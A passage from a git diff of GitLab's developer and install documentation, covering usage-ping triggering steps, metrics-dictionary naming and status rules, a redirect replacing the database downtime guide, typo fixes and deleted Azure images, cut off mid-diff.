troubleshooting usage ping -To get a usage ping, or to troubleshoot caching issues on your GitLab instance, please follow [instructions to generate usage ping](../../administration/troubleshooting/gitlab_rails_cheat_sheet.md#generate-usage-ping). +This activity is to be done via a detached screen session on a remote server. + +Before you begin these steps, make sure the key is added to the SSH agent locally +with the `ssh-add` command. + +### Triggering + +1. Connect to bastion with agent forwarding: `$ ssh -A lb-bastion.gprd.gitlab.com` +1. Create named screen: `$ screen -S <username>_usage_ping_<date>` +1. Connect to console host: `$ ssh $USER-rails@console-01-sv-gprd.c.gitlab-production.internal` +1. Run `SubmitUsagePingService.new.execute` +1. Detach from screen: `ctrl + a, ctrl + d` +1. Exit from bastion: `$ exit` + +### Verification (After approx 30 hours) + +1. Reconnect to bastion: `$ ssh -A lb-bastion.gprd.gitlab.com` +1. Find your screen session: `$ screen -ls` +1. Attach to your screen session: `$ screen -x 14226.mwawrzyniak_usage_ping_2021_01_22` +1. Check the last payload in `raw_usage_data` table: `RawUsageData.last.payload` +1. Check the when the payload was sent: `RawUsageData.last.sent_at` diff --git a/doc/development/usage_ping/metrics_dictionary.md b/doc/development/usage_ping/metrics_dictionary.md index 3c08fb0cc87..b55d4714580 100644 --- a/doc/development/usage_ping/metrics_dictionary.md +++ b/doc/development/usage_ping/metrics_dictionary.md @@ -27,13 +27,14 @@ Each metric is defined in a separate YAML file consisting of a number of fields: | Field | Required | Additional information | |---------------------|----------|----------------------------------------------------------------| | `key_path` | yes | JSON key path for the metric, location in Usage Ping payload. | +| `name` | no | Metric name suggestion. Can replace the last part of `key_path`. | | `description` | yes | | | `product_section` | yes | The [section](https://gitlab.com/gitlab-com/www-gitlab-com/-/blob/master/data/sections.yml). | | `product_stage` | no | The [stage](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/stages.yml) for the metric. | | `product_group` | yes | The [group](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/stages.yml) that owns the metric. | | `product_category` | no | The [product category](https://gitlab.com/gitlab-com/www-gitlab-com/blob/master/data/categories.yml) for the metric. | -| `value_type` | yes | `string`; one of `string`, `number`, `boolean`, `object`. | -| `status` | yes | `string`; status of the metric, may be set to `data_available`, `planned`, `in_progress`, `implemented`, `not_used`, `deprecated` | +| `value_type` | yes | `string`; one of [`string`, `number`, `boolean`, `object`](https://json-schema.org/understanding-json-schema/reference/type.html). | +| `status` | yes | `string`; [status](#metric-statuses) of the metric, may be set to `data_available`, `implemented`, `not_used`, `deprecated`, `removed`. | | `time_frame` | yes | `string`; may be set to a value like `7d`, `28d`, `all`, `none`. | | `data_source` | yes | `string`; may be set to a value like `database`, `redis`, `redis_hll`, `prometheus`, `ruby`. | | `distribution` | yes | `array`; may be set to one of `ce, ee` or `ee`. The [distribution](https://about.gitlab.com/handbook/marketing/strategic-marketing/tiers/#definitions) where the tracked feature is available. | @@ -43,6 +44,91 @@ Each metric is defined in a separate YAML file consisting of a number of fields: | `introduced_by_url` | no | The URL to the Merge Request that introduced the metric. | | `skip_validation` | no | This should **not** be set. [Used for imported metrics until we review, update and make them valid](https://gitlab.com/groups/gitlab-org/-/epics/5425). | +### Metric statuses + +Metric definitions can have one of the following statuses: + +- `data_available`: Metric data is available and used in a Sisense dashboard. +- `implemented`: Metric is implemented but data is not yet available. This is a temporary + status for newly added metrics awaiting inclusion in a new release. +- `not_used`: Metric is not used in any dashboard. +- `deprecated`: Metric is deprecated and possibly planned to be removed. +- `removed`: Metric was removed, but it may appear in Usage Ping payloads sent from instances running on older versions of GitLab. + +### Metric name + +To improve metric discoverability by a wider audience, each metric with +instrumentation added at an appointed `key_path` receives a `name` attribute +filled with the name suggestion, corresponding to the metric `data_source` and instrumentation. +Metric name suggestions can contain two types of elements: + +1. **User input prompts**: Enclosed by `<>`, these pieces should be replaced or + removed when you create a metrics YAML file. +1. **Fixed suggestion**: Plaintext parts generated according to well-defined algorithms. + They are based on underlying instrumentation, and should not be changed. + +For a metric name to be valid, it must not include any prompt, and no fixed suggestions +should be changed. + +### Metric name suggestion examples + +#### Metric with `data_source: database` + +For a metric instrumented with SQL: + +```sql +SELECT COUNT(DISTINCT user_id) FROM clusters WHERE clusters.management_project_id IS NOT NULL +``` + +- **Suggested name**: `count_distinct_user_id_from_<adjective describing: '(clusters.management_project_id IS NOT NULL)'>_clusters` +- **Prompt**: `<adjective describing: '(clusters.management_project_id IS NOT NULL)'>` + should be replaced with an adjective that best represents filter conditions, such as `project_management` +- **Final metric name**: For example, `count_distinct_user_id_from_project_management_clusters` + +For metric instrumented with SQL: + +```sql +SELECT COUNT(DISTINCT clusters.user_id) +FROM clusters_applications_helm +INNER JOIN clusters ON clusters.id = clusters_applications_helm.cluster_id +WHERE clusters_applications_helm.status IN (3, 5) +``` + +- **Suggested name**: `count_distinct_user_id_from_<adjective describing: '(clusters_applications_helm.status IN (3, 5))'>_clusters_<with>_<adjective describing: '(clusters_applications_helm.status IN (3, 5))'>_clusters_applications_helm` +- **Prompt**: `<adjective describing: '(clusters_applications_helm.status IN (3, 5))'>` + should be replaced with an adjective that best represents filter conditions +- **Final metric name**: `count_distinct_user_id_from_clusters_with_available_clusters_applications_helm` + +In the previous example, the prompt is irrelevant, and user can remove it. The second +occurrence corresponds with the `available` scope defined in `Clusters::Concerns::ApplicationStatus`. +It can be used as the right adjective to replace prompt. + +The `<with>` represents a suggested conjunction for the suggested name of the joined relation. +The person documenting the metric can use it by either: + +- Removing the surrounding `<>`. +- Using a different conjunction, such as `having` or `including`. + +#### Metric with `data_source: redis` or `redis_hll` + +For metrics instrumented with a Redis-based counter, the suggested name includes +only the single prompt to be replaced by the person working with metrics YAML. + +- **Prompt**: `<please fill metric name, suggested format is: {subject}_{verb}{ing|ed}_{object} eg: users_creating_epics or merge_requests_viewed_in_single_file_mode>` +- **Final metric name**: We suggest the metric name should follow the format of + `{subject}_{verb}{ing|ed}_{object}`, such as `user_creating_epics`, `users_triggering_security_scans`, + or `merge_requests_viewed_in_single_file_mode` + +#### Metric with `data_source: prometheus` or `ruby` + +For metrics instrumented with Prometheus or Ruby, the suggested name includes only +the single prompt by person working with metrics YAML. + +- **Prompt**: `<please fill metric name>` +- **Final metric name**: Due to the variety of cases that can apply to this kind of metric, + no naming convention exists. Each person instrumenting a metric should use their + best judgment to come up with a descriptive name. + ### Example YAML metric definition The linked [`uuid`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/metrics/license/uuid.yml) @@ -99,4 +185,12 @@ create ee/config/metrics/counts_7d/issues.yml The [Redis HLL metrics](index.md#known-events-are-added-automatically-in-usage-data-payload) are added automatically to Usage Ping payload. -A YAML metric definition is required for each metric. +A YAML metric definition is required for each metric. A dedicated generator is provided to create metric definitions for Redis HLL events. + +The generator takes `category` and `event` arguments, as the root key will be `redis_hll_counters`, and creates two metric definitions for weekly and monthly timeframes: + +```shell +bundle exec rails generate gitlab:usage_metric_definition:redis_hll issues i_closed +create config/metrics/counts_7d/i_closed_weekly.yml +create config/metrics/counts_28d/i_closed_monthly.yml +``` diff --git a/doc/development/usage_ping/product_intelligence_review.md b/doc/development/usage_ping/product_intelligence_review.md index c667bc8354c..3a8f9143b70 100644 --- a/doc/development/usage_ping/product_intelligence_review.md +++ b/doc/development/usage_ping/product_intelligence_review.md @@ -14,7 +14,7 @@ general best practices for code reviews, refer to our [code review guide](../cod ## Resources for Product Intelligence reviewers - [Usage Ping Guide](index.md) -- [Snowplow Guide](../snowplow.md) +- [Snowplow Guide](../snowplow/index.md) - [Metrics Dictionary](metrics_dictionary.md) ## Review process @@ -34,7 +34,7 @@ Product Intelligence files. ### Roles and process -The merge request **author** should: +#### The merge request **author** should - Decide whether a Product Intelligence review is needed. - If a Product Intelligence review is needed, add the labels @@ -48,7 +48,15 @@ The merge request **author** should: [Metrics Dictionary](https://gitlab.com/gitlab-org/gitlab/-/blob/master/doc/development/usage_ping/dictionary.md) if it is needed. - Add a changelog [according to guidelines](../changelog.md). -The Product Intelligence **reviewer** should: +##### When adding or modifiying Snowplow events + +- For frontend events, when relevant, add a screenshot of the event in + the [testing tool](../snowplow/index.md#developing-and-testing-snowplow) used. +- For backend events, when relevant, add the output of the Snowplow Micro + good events `GET http://localhost:9090/micro/good` (it might be a good idea + to reset with `GET http://localhost:9090/micro/reset` first). + +#### The Product Intelligence **reviewer** should - Perform a first-pass review on the merge request and suggest improvements to the author. - Approve the MR, and relabel the MR with `~"product intelligence::approved"`. @@ -71,6 +79,9 @@ Any of the Product Intelligence engineers can be assigned for the Product Intell - For tracking using Redis HLL (HyperLogLog): - Check the Redis slot. - Check if a [feature flag is needed](index.md#recommendations). +- For tracking with Snowplow: + - Check that the [event taxonomy](../snowplow/index.md#structured-event-taxonomy) is correct. + - Check the [usage recomendations](../snowplow/index.md#usage-recommendations). - Metrics YAML definitions: - Check the metric `description`. - Check the metrics `key_path`. diff --git a/doc/development/what_requires_downtime.md b/doc/development/what_requires_downtime.md index 63a7ea4dfbd..7d20382973a 100644 --- a/doc/development/what_requires_downtime.md +++ b/doc/development/what_requires_downtime.md @@ -1,414 +1,8 @@ --- -stage: Enablement -group: Database -info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments +redirect_to: 'avoiding_downtime_in_migrations.md' --- -# What requires downtime? +This document was moved to [another location](avoiding_downtime_in_migrations.md). -When working with a database certain operations can be performed without taking -GitLab offline, others do require a downtime period. This guide describes -various operations, their impact, and how to perform them without requiring -downtime. - -## Dropping Columns - -Removing columns is tricky because running GitLab processes may still be using -the columns. To work around this safely, you will need three steps in three releases: - -1. Ignoring the column (release M) -1. Dropping the column (release M+1) -1. Removing the ignore rule (release M+2) - -The reason we spread this out across three releases is that dropping a column is -a destructive operation that can't be rolled back easily. - -Following this procedure helps us to make sure there are no deployments to GitLab.com -and upgrade processes for self-managed installations that lump together any of these steps. - -### Step 1: Ignoring the column (release M) - -The first step is to ignore the column in the application code. This is -necessary because Rails caches the columns and re-uses this cache in various -places. This can be done by defining the columns to ignore. For example, to ignore -`updated_at` in the User model you'd use the following: - -```ruby -class User < ApplicationRecord - include IgnorableColumns - ignore_column :updated_at, remove_with: '12.7', remove_after: '2020-01-22' -end -``` - -Multiple columns can be ignored, too: - -```ruby -ignore_columns %i[updated_at created_at], remove_with: '12.7', remove_after: '2020-01-22' -``` - -We require indication of when it is safe to remove the column ignore with: - -- `remove_with`: set to a GitLab release typically two releases (M+2) after adding the - column ignore. -- `remove_after`: set to a date after which we consider it safe to remove the column - ignore, typically after the M+1 release date, during the M+2 development cycle. - -This information allows us to reason better about column ignores and makes sure we -don't remove column ignores too early for both regular releases and deployments to GitLab.com. For -example, this avoids a situation where we deploy a bulk of changes that include both changes -to ignore the column and subsequently remove the column ignore (which would result in a downtime). - -In this example, the change to ignore the column went into release 12.5. - -### Step 2: Dropping the column (release M+1) - -Continuing our example, dropping the column goes into a _post-deployment_ migration in release 12.6: - -```ruby - remove_column :user, :updated_at -``` - -### Step 3: Removing the ignore rule (release M+2) - -With the next release, in this example 12.7, we set up another merge request to remove the ignore rule. -This removes the `ignore_column` line and - if not needed anymore - also the inclusion of `IgnoreableColumns`. - -This should only get merged with the release indicated with `remove_with` and once -the `remove_after` date has passed. - -## Renaming Columns - -Renaming columns the normal way requires downtime as an application may continue -using the old column name during/after a database migration. To rename a column -without requiring downtime we need two migrations: a regular migration, and a -post-deployment migration. Both these migration can go in the same release. - -### Step 1: Add The Regular Migration - -First we need to create the regular migration. This migration should use -`Gitlab::Database::MigrationHelpers#rename_column_concurrently` to perform the -renaming. For example - -```ruby -# A regular migration in db/migrate -class RenameUsersUpdatedAtToUpdatedAtTimestamp < ActiveRecord::Migration[4.2] - include Gitlab::Database::MigrationHelpers - - DOWNTIME = false - - disable_ddl_transaction! - - def up - rename_column_concurrently :users, :updated_at, :updated_at_timestamp - end - - def down - undo_rename_column_concurrently :users, :updated_at, :updated_at_timestamp - end -end -``` - -This will take care of renaming the column, ensuring data stays in sync, and -copying over indexes and foreign keys. - -If a column contains one or more indexes that don't contain the name of the -original column, the previously described procedure will fail. In that case, -you'll first need to rename these indexes. - -### Step 2: Add A Post-Deployment Migration - -The renaming procedure requires some cleaning up in a post-deployment migration. -We can perform this cleanup using -`Gitlab::Database::MigrationHelpers#cleanup_concurrent_column_rename`: - -```ruby -# A post-deployment migration in db/post_migrate -class CleanupUsersUpdatedAtRename < ActiveRecord::Migration[4.2] - include Gitlab::Database::MigrationHelpers - - disable_ddl_transaction! - - def up - cleanup_concurrent_column_rename :users, :updated_at, :updated_at_timestamp - end - - def down - undo_cleanup_concurrent_column_rename :users, :updated_at, :updated_at_timestamp - end -end -``` - -If you're renaming a [large table](https://gitlab.com/gitlab-org/gitlab/-/blob/master/rubocop/rubocop-migrations.yml#L3), please carefully consider the state when the first migration has run but the second cleanup migration hasn't been run yet. -With [Canary](https://gitlab.com/gitlab-com/gl-infra/readiness/-/tree/master/library/canary/) it is possible that the system runs in this state for a significant amount of time. - -## Changing Column Constraints - -Adding or removing a `NOT NULL` clause (or another constraint) can typically be -done without requiring downtime. However, this does require that any application -changes are deployed _first_. Thus, changing the constraints of a column should -happen in a post-deployment migration. - -Avoid using `change_column` as it produces an inefficient query because it re-defines -the whole column type. - -You can check the following guides for each specific use case: - -- [Adding foreign-key constraints](migration_style_guide.md#adding-foreign-key-constraints) -- [Adding `NOT NULL` constraints](database/not_null_constraints.md) -- [Adding limits to text columns](database/strings_and_the_text_data_type.md) - -## Changing Column Types - -Changing the type of a column can be done using -`Gitlab::Database::MigrationHelpers#change_column_type_concurrently`. This -method works similarly to `rename_column_concurrently`. For example, let's say -we want to change the type of `users.username` from `string` to `text`. - -### Step 1: Create A Regular Migration - -A regular migration is used to create a new column with a temporary name along -with setting up some triggers to keep data in sync. Such a migration would look -as follows: - -```ruby -# A regular migration in db/migrate -class ChangeUsersUsernameStringToText < ActiveRecord::Migration[4.2] - include Gitlab::Database::MigrationHelpers - - disable_ddl_transaction! - - def up - change_column_type_concurrently :users, :username, :text - end - - def down - undo_change_column_type_concurrently :users, :username - end -end -``` - -### Step 2: Create A Post Deployment Migration - -Next we need to clean up our changes using a post-deployment migration: - -```ruby -# A post-deployment migration in db/post_migrate -class ChangeUsersUsernameStringToTextCleanup < ActiveRecord::Migration[4.2] - include Gitlab::Database::MigrationHelpers - - disable_ddl_transaction! - - def up - cleanup_concurrent_column_type_change :users, :username - end - - def down - undo_cleanup_concurrent_column_type_change :users, :username, :string - end -end -``` - -And that's it, we're done! - -### Casting data to a new type - -Some type changes require casting data to a new type. For example when changing from `text` to `jsonb`. -In this case, use the `type_cast_function` option. -Make sure there is no bad data and the cast will always succeed. You can also provide a custom function that handles -casting errors. - -Example migration: - -```ruby - def up - change_column_type_concurrently :users, :settings, :jsonb, type_cast_function: 'jsonb' - end -``` - -## Changing The Schema For Large Tables - -While `change_column_type_concurrently` and `rename_column_concurrently` can be -used for changing the schema of a table without downtime, it doesn't work very -well for large tables. Because all of the work happens in sequence the migration -can take a very long time to complete, preventing a deployment from proceeding. -They can also produce a lot of pressure on the database due to it rapidly -updating many rows in sequence. - -To reduce database pressure you should instead use -`change_column_type_using_background_migration` or `rename_column_using_background_migration` -when migrating a column in a large table (e.g. `issues`). These methods work -similarly to the concurrent counterparts but uses background migration to spread -the work / load over a longer time period, without slowing down deployments. - -For example, to change the column type using a background migration: - -```ruby -class ExampleMigration < ActiveRecord::Migration[4.2] - include Gitlab::Database::MigrationHelpers - - disable_ddl_transaction! - - class Issue < ActiveRecord::Base - self.table_name = 'issues' - - include EachBatch - - def self.to_migrate - where('closed_at IS NOT NULL') - end - end - - def up - change_column_type_using_background_migration( - Issue.to_migrate, - :closed_at, - :datetime_with_timezone - ) - end - - def down - change_column_type_using_background_migration( - Issue.to_migrate, - :closed_at, - :datetime - ) - end -end -``` - -This would change the type of `issues.closed_at` to `timestamp with time zone`. - -Keep in mind that the relation passed to -`change_column_type_using_background_migration` _must_ include `EachBatch`, -otherwise it will raise a `TypeError`. - -This migration then needs to be followed in a separate release (_not_ a patch -release) by a cleanup migration, which should steal from the queue and handle -any remaining rows. For example: - -```ruby -class MigrateRemainingIssuesClosedAt < ActiveRecord::Migration[4.2] - include Gitlab::Database::MigrationHelpers - - DOWNTIME = false - - disable_ddl_transaction! - - class Issue < ActiveRecord::Base - self.table_name = 'issues' - include EachBatch - end - - def up - Gitlab::BackgroundMigration.steal('CopyColumn') - Gitlab::BackgroundMigration.steal('CleanupConcurrentTypeChange') - - migrate_remaining_rows if migrate_column_type? - end - - def down - # Previous migrations already revert the changes made here. - end - - def migrate_remaining_rows - Issue.where('closed_at_for_type_change IS NULL AND closed_at IS NOT NULL').each_batch do |batch| - batch.update_all('closed_at_for_type_change = closed_at') - end - - cleanup_concurrent_column_type_change(:issues, :closed_at) - end - - def migrate_column_type? - # Some environments may have already executed the previous version of this - # migration, thus we don't need to migrate those environments again. - column_for('issues', 'closed_at').type == :datetime # rubocop:disable Migration/Datetime - end -end -``` - -The same applies to `rename_column_using_background_migration`: - -1. Create a migration using the helper, which will schedule background - migrations to spread the writes over a longer period of time. -1. In the next monthly release, create a clean-up migration to steal from the - Sidekiq queues, migrate any missing rows, and cleanup the rename. This - migration should skip the steps after stealing from the Sidekiq queues if the - column has already been renamed. - -For more information, see [the documentation on cleaning up background -migrations](background_migrations.md#cleaning-up). - -## Adding Indexes - -Adding indexes does not require downtime when `add_concurrent_index` -is used. - -See also [Migration Style Guide](migration_style_guide.md#adding-indexes) -for more information. - -## Dropping Indexes - -Dropping an index does not require downtime. - -## Adding Tables - -This operation is safe as there's no code using the table just yet. - -## Dropping Tables - -Dropping tables can be done safely using a post-deployment migration, but only -if the application no longer uses the table. - -## Renaming Tables - -Renaming tables requires downtime as an application may continue -using the old table name during/after a database migration. - -## Adding Foreign Keys - -Adding foreign keys usually works in 3 steps: - -1. Start a transaction -1. Run `ALTER TABLE` to add the constraint(s) -1. Check all existing data - -Because `ALTER TABLE` typically acquires an exclusive lock until the end of a -transaction this means this approach would require downtime. - -GitLab allows you to work around this by using -`Gitlab::Database::MigrationHelpers#add_concurrent_foreign_key`. This method -ensures that no downtime is needed. - -## Removing Foreign Keys - -This operation does not require downtime. - -## Data Migrations - -Data migrations can be tricky. The usual approach to migrate data is to take a 3 -step approach: - -1. Migrate the initial batch of data -1. Deploy the application code -1. Migrate any remaining data - -Usually this works, but not always. For example, if a field's format is to be -changed from JSON to something else we have a bit of a problem. If we were to -change existing data before deploying application code we'll most likely run -into errors. On the other hand, if we were to migrate after deploying the -application code we could run into the same problems. - -If you merely need to correct some invalid data, then a post-deployment -migration is usually enough. If you need to change the format of data (e.g. from -JSON to something else) it's typically best to add a new column for the new data -format, and have the application use that. In such a case the procedure would -be: - -1. Add a new column in the new format -1. Copy over existing data to this new column -1. Deploy the application code -1. In a post-deployment migration, copy over any remaining data - -In general there is no one-size-fits-all solution, therefore it's best to -discuss these kind of migrations in a merge request to make sure they are -implemented in the best way possible. +<!-- This redirect file can be deleted after <2021-07-01>. --> +<!-- Before deletion, see: https://docs.gitlab.com/ee/development/documentation/#move-or-rename-a-page --> diff --git a/doc/development/wikis.md b/doc/development/wikis.md index f47c87137ae..9998e29b596 100644 --- a/doc/development/wikis.md +++ b/doc/development/wikis.md @@ -19,7 +19,7 @@ Wikis use Git repositories as storage backend, and can be accessed through: - The [Web UI](../user/project/wiki/index.md) - The [REST API](../api/wikis.md) -- [Git itself](../user/project/wiki/#adding-and-editing-wiki-pages-locally) +- [Git itself](../user/project/wiki/index.md#create-or-edit-wiki-pages-locally) [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2214) in GitLab 13.5, wikis are also available for groups, in addition to projects. @@ -92,3 +92,7 @@ Only some data is persisted in the database: The web UI uploads attachments through the REST API, which stores the files as commits in the wiki repository. Prior to GitLab 11.3 attachments were stored outside of the repository, [see this issue](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/33475). + +## Related topics + +- [Gollum installation instructions](https://github.com/gollum/gollum/wiki/Installation) diff --git a/doc/gitlab-basics/command-line-commands.md b/doc/gitlab-basics/command-line-commands.md index 52facc7bd1a..fe69346c316 100644 --- a/doc/gitlab-basics/command-line-commands.md +++ b/doc/gitlab-basics/command-line-commands.md @@ -33,9 +33,9 @@ The list below is not exhaustive, but contains many of the most commonly used co |--------------------------------|---------------------------------------------| | `cd NAME-OF-DIRECTORY` | Go into a directory to work in it | | `cd ..` | Go back one directory | -| `ls` | List what’s in the current directory | -| `ls a*` | List what’s in the current directory that starts with `a` | -| `ls *.md` | List what’s in the current directory that ends with `.md` | +| `ls` | List what's in the current directory | +| `ls a*` | List what's in the current directory that starts with `a` | +| `ls *.md` | List what's in the current directory that ends with `.md` | | `mkdir NAME-OF-YOUR-DIRECTORY` | Create a new directory | | `cat README.md` | Display the contents of a [text file you created previously](#create-a-text-file-in-the-current-directory) | | `pwd` | Show the current directory | diff --git a/doc/gitlab-basics/start-using-git.md b/doc/gitlab-basics/start-using-git.md index 3c824cb5286..a3c8946700a 100644 --- a/doc/gitlab-basics/start-using-git.md +++ b/doc/gitlab-basics/start-using-git.md @@ -13,11 +13,11 @@ handle everything from small to very large projects with speed and efficiency. G on top of Git. While GitLab has a powerful user interface from which you can do a great amount of Git operations -directly in the browser, you’ll eventually need to use Git through the command line for advanced +directly in the browser, you'll eventually need to use Git through the command line for advanced tasks. For example, if you need to fix complex merge conflicts, rebase branches, -merge manually, or undo and roll back commits, you musto use Git from +merge manually, or undo and roll back commits, you must use Git from the command line and then push your changes to the remote server. This guide helps you get started with Git through the command line and can be your reference @@ -27,7 +27,7 @@ can download the GitLab [Git Cheat Sheet](https://about.gitlab.com/images/press/ > For more information about the advantages of working with Git and GitLab: > > - <i class="fa fa-youtube-play youtube" aria-hidden="true"></i> Watch the [GitLab Source Code Management Walkthrough](https://www.youtube.com/watch?v=wTQ3aXJswtM) video. -> - Learn how GitLab became the backbone of [Worldline](https://about.gitlab.com/customers/worldline/)’s development environment. +> - Learn how GitLab became the backbone of [Worldline](https://about.gitlab.com/customers/worldline/)'s development environment. NOTE: To help you visualize what you're doing locally, there are diff --git a/doc/install/aws/index.md b/doc/install/aws/index.md index b18a537bf8b..7fde3915bf5 100644 --- a/doc/install/aws/index.md +++ b/doc/install/aws/index.md @@ -348,10 +348,6 @@ Now that the database is created, let's move on to setting up Redis with ElastiC ElastiCache is an in-memory hosted caching solution. Redis maintains its own persistence and is used to store session data, temporary cache information, and background job queues for the GitLab application. -WARNING: -GitLab recommends you use ElastiCache Redis version 5.0.x, because version 6.x contains -a bug that [prevents Sidekiq from processing jobs](https://gitlab.com/gitlab-org/gitlab/-/issues/281683). - ### Create a Redis Security Group 1. Navigate to the EC2 dashboard. @@ -413,7 +409,7 @@ If you do not want to maintain bastion hosts, you can set up [AWS Systems Manage 1. Leave everything else as default and click **Add Storage**. 1. For storage, we'll leave everything as default and only add an 8GB root volume. We won't store anything on this instance. 1. Click **Add Tags** and on the next screen click **Add Tag**. - 1. We’ll only set `Key: Name` and `Value: Bastion Host A`. + 1. We'll only set `Key: Name` and `Value: Bastion Host A`. 1. Click **Configure Security Group**. 1. Select **Create a new security group**, enter a **Security group name** (we'll use `bastion-sec-group`), and add a description. 1. We'll enable SSH access from anywhere (`0.0.0.0/0`). If you want stricter security, specify a single IP address or an IP address range in CIDR notation. @@ -432,7 +428,7 @@ Confirm that you can SSH into the instance: 1. Create an EC2 instance following the same steps as above with the following changes: 1. For the **Subnet**, select the second public subnet we created earlier (`gitlab-public-10.0.2.0`). - 1. Under the **Add Tags** section, we’ll set `Key: Name` and `Value: Bastion Host B` so that we can easily identify our two instances. + 1. Under the **Add Tags** section, we'll set `Key: Name` and `Value: Bastion Host B` so that we can easily identify our two instances. 1. For the security group, select the existing `bastion-sec-group` we created above. ### Use SSH Agent Forwarding @@ -456,10 +452,10 @@ From the EC2 dashboard: 1. In the **Subnet** dropdown, select `gitlab-private-10.0.1.0` from the list of subnets we created earlier. 1. Double check that **Auto-assign Public IP** is set to `Use subnet setting (Disable)`. 1. Click **Add Storage**. - 1. The root volume is 8GiB by default and should be enough given that we won’t store any data there. + 1. The root volume is 8GiB by default and should be enough given that we won't store any data there. 1. Click **Add Tags** and add any tags you may need. In our case, we'll only set `Key: Name` and `Value: GitLab`. 1. Click **Configure Security Group**. Check **Select an existing security group** and select the `gitlab-loadbalancer-sec-group` we created earlier. -1. Click **Review and launch** followed by **Launch** if you’re happy with your settings. +1. Click **Review and launch** followed by **Launch** if you're happy with your settings. 1. Finally, acknowledge that you have access to the selected private key file or create a new one. Click **Launch Instances**. ### Add custom configuration @@ -654,8 +650,9 @@ That concludes the configuration changes for our GitLab instance. Next, we'll cr ### Log in for the first time -Using the domain name you used when setting up [DNS for the load balancer](#configure-dns-for-load-balancer), you should now be able to visit GitLab in your browser. You will be asked to set up a password -for the `root` user which has admin privileges on the GitLab instance. This password will be stored in the database. +Using the domain name you used when setting up [DNS for the load balancer](#configure-dns-for-load-balancer), you should now be able to visit GitLab in your browser. +If you didn't change the password by any other means, the default password will be the same as the instance ID. To change the default password, login as the `root` user +with the default password and [change it in the user profile](../../user/profile#change-your-password). When our [auto scaling group](#create-an-auto-scaling-group) spins up new instances, we'll be able to log in with username `root` and the newly created password. @@ -683,7 +680,7 @@ From the EC2 dashboard: 1. **Do not** check **Request Spot Instance**. 1. From the **IAM Role** dropdown, pick the `GitLabAdmin` instance role we [created earlier](#create-an-iam-ec2-instance-role-and-profile). 1. Leave the rest as defaults and click **Add Storage**. -1. The root volume is 8GiB by default and should be enough given that we won’t store any data there. Click **Configure Security Group**. +1. The root volume is 8GiB by default and should be enough given that we won't store any data there. Click **Configure Security Group**. 1. Check **Select and existing security group** and select the `gitlab-loadbalancer-sec-group` we created earlier. 1. Click **Review**, review your changes, and click **Create launch configuration**. 1. Acknowledge that you have access to the private key or create a new one. Click **Create launch configuration**. diff --git a/doc/install/azure/img/azure-add-inbound-sec-rule-http.png b/doc/install/azure/img/azure-add-inbound-sec-rule-http.png Binary files differdeleted file mode 100644 index abf500cb63a..00000000000 --- a/doc/install/azure/img/azure-add-inbound-sec-rule-http.png +++ /dev/null diff --git a/doc/install/azure/img/azure-add-inbound-sec-rule-ssh.png b/doc/install/azure/img/azure-add-inbound-sec-rule-ssh.png Binary files differdeleted file mode 100644 index f7a8a04dfa7..00000000000 --- a/doc/install/azure/img/azure-add-inbound-sec-rule-ssh.png +++ /dev/null diff --git a/doc/install/azure/img/azure-create-virtual-machine-basics-password.png b/doc/install/azure/img/azure-create-virtual-machine-basics-password.png Binary files differdeleted file mode 100644 index 80bf39ecb48..00000000000 --- a/doc/install/azure/img/azure-create-virtual-machine-basics-password.png +++ /dev/null diff --git a/doc/install/azure/img/azure-create-virtual-machine-basics.png b/doc/install/azure/img/azure-create-virtual-machine-basics.png Binary files differdeleted file mode 100644 index 229c073fe17..00000000000 --- a/doc/install/azure/img/azure-create-virtual-machine-basics.png +++ /dev/null diff --git a/doc/install/azure/img/azure-create-virtual-machine-deployment.png b/doc/install/azure/img/azure-create-virtual-machine-deployment.png Binary files differdeleted file mode 100644 index 5cfdd973a58..00000000000 --- a/doc/install/azure/img/azure-create-virtual-machine-deployment.png +++ /dev/null diff --git a/doc/install/azure/img/azure-create-virtual-machine-purchase.png b/doc/install/azure/img/azure-create-virtual-machine-purchase.png Binary files differdeleted file mode 100644 index f4de62299f1..00000000000 --- a/doc/install/azure/img/azure-create-virtual-machine-purchase.png +++ /dev/null diff --git a/doc/install/azure/img/azure-create-virtual-machine-settings.png b/doc/install/azure/img/azure-create-virtual-machine-settings.png Binary files differdeleted file mode 100644 index 20097921660..00000000000 --- a/doc/install/azure/img/azure-create-virtual-machine-settings.png +++ /dev/null diff --git a/doc/install/azure/img/azure-create-virtual-machine-size.png b/doc/install/azure/img/azure-create-virtual-machine-size.png Binary files differdeleted file mode 100644 index a408394151f..00000000000 --- a/doc/install/azure/img/azure-create-virtual-machine-size.png +++ /dev/null diff --git a/doc/install/azure/img/azure-dashboard-highlight-nsg.png b/doc/install/azure/img/azure-dashboard-highlight-nsg.png Binary files differdeleted file mode 100644 index 025efd33977..00000000000 --- a/doc/install/azure/img/azure-dashboard-highlight-nsg.png +++ /dev/null diff --git a/doc/install/azure/img/azure-dashboard-running-resources.png b/doc/install/azure/img/azure-dashboard-running-resources.png Binary files differdeleted file mode 100644 index 7e661a6aa65..00000000000 --- a/doc/install/azure/img/azure-dashboard-running-resources.png +++ /dev/null diff --git a/doc/install/azure/img/azure-dashboard.png b/doc/install/azure/img/azure-dashboard.png Binary files differdeleted file mode 100644 index 375ec8622b8..00000000000 --- a/doc/install/azure/img/azure-dashboard.png +++ /dev/null diff --git a/doc/install/azure/img/azure-inbound-sec-rules-list.png b/doc/install/azure/img/azure-inbound-sec-rules-list.png Binary files differdeleted file mode 100644 index 1667671b21d..00000000000 --- a/doc/install/azure/img/azure-inbound-sec-rules-list.png +++ /dev/null diff --git a/doc/install/azure/img/azure-new-gitlab-ce.png b/doc/install/azure/img/azure-new-gitlab-ce.png Binary files differdeleted file mode 100644 index 88949f69a94..00000000000 --- a/doc/install/azure/img/azure-new-gitlab-ce.png +++ /dev/null diff --git a/doc/install/azure/img/azure-new-search-gitlab.png b/doc/install/azure/img/azure-new-search-gitlab.png Binary files differdeleted file mode 100644 index f96ed577d62..00000000000 --- a/doc/install/azure/img/azure-new-search-gitlab.png +++ /dev/null diff --git a/doc/install/azure/img/azure-nsg-inbound-sec-rules-add-highlight.png b/doc/install/azure/img/azure-nsg-inbound-sec-rules-add-highlight.png Binary files differdeleted file mode 100644 index c9a08b87ce6..00000000000 --- 